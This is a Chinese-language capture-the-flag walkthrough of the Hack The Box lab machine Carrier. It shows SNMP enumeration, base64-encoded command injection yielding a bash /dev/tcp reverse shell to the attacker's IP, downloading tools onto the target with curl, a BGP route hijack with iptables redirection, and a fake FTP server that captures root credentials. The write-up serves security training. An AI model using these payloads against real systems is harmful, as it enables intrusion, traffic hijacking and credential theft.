【HTB系列】靶机Carrier的渗透测试

介绍

【HTB系列】靶机Carrier的渗透测试_第1张图片

目标靶机IP:10.10.10.105

本机IP:10.10.13.133

首先利用Nmap对目标靶机进行信息收集

nmap -sC -F -sV 10.10.10.105  

-sC:通过默认脚本进行扫描

-sV:扫描目标主机端口上运行软件的版本

-F:扫描100个最有可能开放的端口

【HTB系列】靶机Carrier的渗透测试_第2张图片

显示靶机开放了21,22,80,3306端口,但是21,3306端口被过滤了。22端口是SSH需要登陆,我们先从80端口开始看看能不能得到有用的信息

先打开网页,是一个登陆页面,有2个Error提示45007,45009,去Google查询类似的关键词发现没有什么可用信息,应该是自定义的WEB框架。

【HTB系列】靶机Carrier的渗透测试_第3张图片

 

我们用gobuster来进行目录爆破

 

gobuster  -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q 

先看下tools

/tools:

点进去显示“许可过期,正在退出”

 

看下doc

 

/doc

【HTB系列】靶机Carrier的渗透测试_第4张图片

【HTB系列】靶机Carrier的渗透测试_第5张图片

【HTB系列】靶机Carrier的渗透测试_第6张图片

一个网络架构图还有一个是错误代码描述的PDF,根据刚刚网页提示的错误代码我们查下对应的解释

Error 4005:守护进程没有响应

Error 4009:配置中没有设置默认的用户名和密码(查看机箱序列号)

 

看下/debug

【HTB系列】靶机Carrier的渗透测试_第7张图片

 

没有什么特别有用的信息

 

根据那种图可能还有别的设备,这样我想起了snmp服务

所以我们扫下靶机UDP的端口看看有没有什么有用的信息

 

nmap -sU 10.10.10.105  

【HTB系列】靶机Carrier的渗透测试_第8张图片

 

果然目标机器是有开启snmp,那么我们用snmpwalk来进行弱口令利用

snmpwalk -v 1 -c public 10.10.10.105 

这个NET_45JDX23可能就是所谓的序列号

我们回到登陆进行登陆。

Username:尝试常见的默认用户名:admin, root…..

Password: NET_45JDX23

【HTB系列】靶机Carrier的渗透测试_第9张图片

页面显示我们的凭证是无效的

许可证无效

无法在任何USB端口上检测许可证密钥加密狗。

·  票证功能仅限于只读模式

·  监控功能已禁用

·  诊断仅限于本地子系统组件

·  配置更改已锁定,将自动恢复

 

我们进入Tickets

 

通过这条信息 我们知道了3个网段(大概就是刚刚那个网络架构图),还有一个FTP:10.120.15.0/24

 

然后我们在点Diagnosticd,提示我们凭证无效,但是可以使用检查功能

点下Verify status

【HTB系列】靶机Carrier的渗透测试_第10张图片

 

这个部分很像是远程命令执行。

 

我们用BURP抓包看下信息

【HTB系列】靶机Carrier的渗透测试_第11张图片

 

Check用base64转换下

【HTB系列】靶机Carrier的渗透测试_第12张图片

 

很明显这个quagga就是上面输出信息的一部分,查找相关资料,发现这是一款路由器软件

【HTB系列】靶机Carrier的渗透测试_第13张图片

 

那么我们设置对check这个参数进行攻击,我们把root的base64编码写进去

 

【HTB系列】靶机Carrier的渗透测试_第14张图片

【HTB系列】靶机Carrier的渗透测试_第15张图片

返回信息如下

【HTB系列】靶机Carrier的渗透测试_第16张图片

 

那么我们在试着输入 root;echo hello

【HTB系列】靶机Carrier的渗透测试_第17张图片

【HTB系列】靶机Carrier的渗透测试_第18张图片

 

如图发现我们是可以用;进行多语句的执行,那么我们用bash反弹一个shell

现在用kali监听下9001

然后转换下编码

root;bash -i >& /dev/tcp/10.10.13.133/9001 0>&1

【HTB系列】靶机Carrier的渗透测试_第19张图片

 

这里输出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=

 

需要注意的是需要把里面的+和=进入URL编码转换才行要不然会出错

【HTB系列】靶机Carrier的渗透测试_第20张图片

这样我们就得到一个shell了

 

这样我们就可以得到user的flag了

【HTB系列】靶机Carrier的渗透测试_第21张图片

 

接下来就是获得根ROOT的权限

 

从之前的信息我们了解到有一台FTP服务器:10.120.15.0/24

我们试着ping 10.120.15.1看看能不能ping通

 

【HTB系列】靶机Carrier的渗透测试_第22张图片

 

我们需要在靶机上进行扫描,当然你可以用msf添加路由的方式扫描,这里我用另一个种方法把nmap的二进制静态执行文件上传到靶机进行扫描

 

Github:https://github.com/andrew-d/static-binaries

【HTB系列】靶机Carrier的渗透测试_第23张图片

 

然后我们用python的SimpleHTTPServer模块建立服务然后靶机去下载这个文件

然后再靶机分别输入如下命令

curl http://10.10.13.133:8000/nmap -o nmap  
chmod +x nmap 

【HTB系列】靶机Carrier的渗透测试_第24张图片

 

然后我们执行

./nmap -p 21 10.120.15.0/24

发现没有探测到,可能是目标禁止ICMP数据包

那么我们加个-Pn参数,同时把结果导出

 

./nmap -Pn -vvv -p 21 10.120.15.0/24  --open

-Pn:不进行ping直接扫描

-vvv:显示详细过程

--open:只显示端口open状态信息

【HTB系列】靶机Carrier的渗透测试_第25张图片

 

我们发现 10.120.15.10是开放21端口的

 

然后我们尝试下FTP匿名登陆,登陆的时候可能不会有回显,需要自己打

 

【HTB系列】靶机Carrier的渗透测试_第26张图片

 

无法执行,之前那个ticks也说这个FTP出现了问题。

 

 

我们需要通过劫持BGP欺骗AS200将数据传输给我们的靶机,然后开启假的FTP服务,之前的信息有显示到有人会定期访问这个FTP,这样我们就可以窃取到凭证

【HTB系列】靶机Carrier的渗透测试_第27张图片

 

现在的情况大概就是图上这个样子

 

我们在终端分别输入

vtysh  (quagga的命令)  
configure terminal(进入配置模式)  
do show run (显示配置信息)  

 

【HTB系列】靶机Carrier的渗透测试_第28张图片

我们需要增加一个network就是把刚刚FTP的那个网段加进来

 

这里我直接编辑/etc/ quagga下的bgpd.conf文件内容也就上面显示的内容

 

【HTB系列】靶机Carrier的渗透测试_第29张图片

我们在自己的kali上编辑下内容在里面加一条10.120.15.0/25

【HTB系列】靶机Carrier的渗透测试_第30张图片

然后用python的SimpleHTTPServer服务上传到靶机里面去跟nmap一样

把之前的文件重命名,然后把我们的文件下载下来

curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con

 

【HTB系列】靶机Carrier的渗透测试_第31张图片

然后在iptales上添加记录并重启quagga服务

iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21   
iptables -t nat -A POSTROUTING -j MASQUERADE 
service quagga restart 

然后我们在下载一个假的ftp监听21端口来得到凭证

Github:https://github.com/b1ngda0/FtpServicePython/

不久后就能得到账号密码

root:BGPtelc0rout1ng

然后ssh登陆并得到root flag

【HTB系列】靶机Carrier的渗透测试_第32张图片

【HTB系列】靶机Carrier的渗透测试_第33张图片

 

你可能感兴趣的:(CTF以及各类靶机,HTB靶场题解集合)